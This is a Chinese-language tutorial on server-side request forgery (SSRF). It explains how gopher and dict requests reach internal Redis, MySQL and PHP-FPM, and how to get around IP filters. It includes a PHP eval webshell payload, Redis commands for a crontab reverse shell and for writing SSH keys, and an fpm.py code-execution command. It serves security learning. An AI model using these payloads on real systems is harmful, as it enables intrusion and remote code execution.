SSRF(Server-side Request Fogery),服务器端请求伪造,是一种由攻击者构造形成服务端发起请求的一种安全漏洞。一般来说,SSRF的攻击目标是外部无法直接访问的服务器内网系统。
很多时候,网站都有从外部服务器获取资源的需求,比如加载外部图片。但如果我们能够控制服务器去请求哪个资源,如何去请求资源,我们便可以做一些不可描述的事情,服务端也形成了一个SSRF漏洞。
漏洞的产生
其实服务端请求外部服务器资源并没有什么问题,问题在于请求的资源让用户可控并且没有对目标地址做过滤与限制,这是问题的根源。
以php的curl
为例,常见的SSRF的形成代码:
1 |
|
这里没有对输入的url进行过滤和检测,也没有对请求返回的数据进行检测和过滤,形成了一个典型的SSRF漏洞。
php中,除了curl
,file_get_contents
、fsockopen
、fopen
等可以向外部请求资源的函数都可能造成SSRF漏洞
gopher和dict协议
gopher协议
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议被称为万金油,它可以发送任意数据到服务器。因此,我们可以通过构造发送的数据来实现各种协议可以做的事情
gopher协议格式:gopher://ip:port/_ + TCP数据
(这里的_
是一种数据连接格式,换成任意字符都可以)
gopher协议的实现:
gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。
比如,这里使用nc -lp 9999
监听本机9999端口,之后使用curl使用gopher
协议发送curl gopher://127.0.0.1:9999/_abcdefg
这里推荐一个工具 https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream
它可以监听某个端口的数据并将其转成%+16进制
格式
安装好后使用方式为:./sniffer -p端口号
这里使用同样使用nc和curl来发送和接收数据,并使用sniffer来监听数据
我们获得了GET数据包的数据,接下来使用gopher协议来发送这个数据包:
可见,使用gopher发送了一个和之前的相同的数据包
需要注意的是,在浏览器中发送数据包需要将tcp数据再次进行url编码
经过测试发现 Gopher 的以下几点局限性:
- 大部分 PHP 并不会开启 fopen 的 gopher wrapper
- file_get_contents 的 gopher 协议不能 URLencode
- file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
- PHP 的 curl 默认不 follow 302 跳转
- curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
dict协议
dict是字典服务器协议,是基于查询响应的TCP协议。
dict协议有一个功能:dict://ip:port/name:data
向服务器的端口请求name data
,并在末尾自动补上CRLF
也就是如果我们发出dict://ip:port/config:set:dir:/var/spool/cron/
的请求,redis就执行了config set dir /var/spool/cron/ \r\n
.用这种方式可以一步步执行redis getshell的exp,
执行完就能达到和gopher一样的效果,原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。
这里同样使用nc来看一下dect发送的数据:
SSRF利用
端口扫描
因为大部分的TCP服务,在建立socket连接的时候就会发送banner信息,banner信息是ascii编码的,能够作为html数据显示出来,从而判断指定端口是否开放,以及开放的什么服务。
比如我测试的这里就将mysql和版本号回显了出来
除了根据直接的显示结果判断端口是否开放,还可以根据不同的错误码,返回信息的长度以及返回时间判断远程服务器的端口状态。
例如下面的python脚本就是利用端口连接时间作为依据进行端口扫描:
来源:https://www.anquanke.com/post/id/197431#h2-6
1 | import requests |
使用file协议读取文件
如果指定file协议,也可以读取到服务器上的文件
攻击内网web应用
当服务器内网存在web应用并且有漏洞时,可以通过SSRF漏洞来攻击内网的web服务
一般来说,外部无法访问服务器内部网络,但是如果存在SSRF漏洞,我们便可以通过SSRF将服务器作为跳板,从而对服务器内网web应用进行访问测试
通常服务器是允许我们发送GET请求的,这对于内网web应用GET方式就可以利用的漏洞非常方便,除此之外,我们还可以通过gopher等协议来构造数据包进行POST请求
攻击redis
如果内网中存在一个redis服务器,则可以利用SSRF与之通信,如果其没有密码或者是弱密码,则我们可以控制执行任意redis命令。
使用dict协议
前面讲到过,dict协议有一个功能:dict://ip:port/name:data
向服务器的端口请求name data
,并在末尾自动补上CRLF
也就是我们可以通过dict协议发送数据来操控redis执行命令
测试一下:
首先在redis中set abc 1
,将abc设置为1
之后利用dict协议发送set abc 2
的命令,即dict://127.0.0.1:6379/set:abc:2
再次查看abc的值,成功被修改成了2
使用dict协议的坏处就是每次只能执行一句命令语句
使用gopher协议
我们可以使用gopher协议发送满足redis通信协议的数据包,让redis执行指定的命令
同样,这里使用sniffer工具来获取数据包。
之后在使用gopher协议发送该数据,可以看到abc被成功修改成了333
使用gopher协议可以执行多条语句
绝对路径写webshell
利用条件:
- web目录下有写权限
先看看redis命令:
1 | set a '<?php eval($_POST[1]);?>' // 设置键a的值 |
知道了redis命令,可以通过gopher协议或者dict协议进行发送指令
利用contrab计划任务反弹shell
这个方法只能在Centos上使用,Ubuntu上行不通。原因如下:
- 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>
权限必须是600
也就是-rw-------
才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/<username>
权限644
也能执行 - 为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同
- Centos的定时任务文件在
/var/spool/cron/<username>
- Ubuntu定时任务文件在
/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab
PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的
redis命令:
1 | flushall // 删除所有数据,不建议要这句 |
其实这里的反弹shell原理就是通过redis保存数据文件来写入一个定时任务,通过执行定时任务里的反弹shell语句完成
写ssh公钥
如果.ssh目录存在,则直接写入~/.ssh/authorized_keys
如果不存在,则可以利用crontab创建该目录
redis命令
1 | flushall |
攻击mysql
mysql连接方式
MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:
- Unix套接字;
- 内存共享/命名管道;
- TCP/IP套接字;
在Linux或者Unix环境下,当我们输入mysql–uroot –proot
登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。
在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h 127.0.0.1 –u root –proot
时就是要TCP/IP套接字。
我们抓取的MySQL通信数据包必须使用TCP/IP套接字连接。
mysql认证过程
MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。
- 当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证
- 当无需密码认证时直接发送TCP/IP数据包即可
所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的
构造攻击包
通过上面MySQL通信协议的分析,现在需要构造一个基于TCP/IP的数据包,包括连接,认证,执行命令,退出等MySQL通信数据。
我先使用SET PASSWORD FOR root@localhost=PASSWORD('');
取消root用户的密码
同样使用sniffer工具抓取通信数据
使用mysql -uroot -h127.0.0.1 -e "create database a"
来创建一个数据库,抓取执行这一命令的一系列动作的数据
在使用gopher协议发包
这样一来,我们可以通过gopher协议发送数据包来执行任意的sql语句,但不一定有回显结果,所以可以通过mysql执行select into outfile
,但前提是当前用户必须存在file权限,以及导出到--secure-file-priv
指定目录下,并且导入目录需要有写权限。
攻击FastCGI
参考:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
利用条件
- libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
转换为Gopher的EXP
监听一个端口的流量 nc -lvvp 2333 > 1.txt
,执行EXP,流量打到2333端口
1 | python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 php文件绝对路径 |
fpm.py
地址 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
url编码
1 | f = open('1.txt') |
SSRF的绕过
常常在有SSRF漏洞的地方存在一些防护,例如禁止使用某些协议甚至只允许使用http/https协议。还有一种是限制访问的目标网站,禁止是127.0.0.1这种
绕过IP限制
更改IP地址的写法
我们可以将ip地址改写为其他进制,例如如192.168.0.1这个IP地址我们可以改写成:
1 | 8进制格式:0300.0250.0.1 |
还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1
利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
1 | http://www.baidu.com@192.168.0.1/ |
当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com
,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com
,而实际上这个URL所请求的内容都是192.168.0.1
上的内容。
利用302跳转
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。
同样的,我们也可以自行写一个跳转的服务接口来实现类似的功能。
参考
https://www.smi1e.top/gopher-ssrf攻击内网应用复现/
https://www.anquanke.com/post/id/197431
https://www.anquanke.com/post/id/145519
https://xz.aliyun.com/t/5665
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.freebuf.com/articles/web/135342.html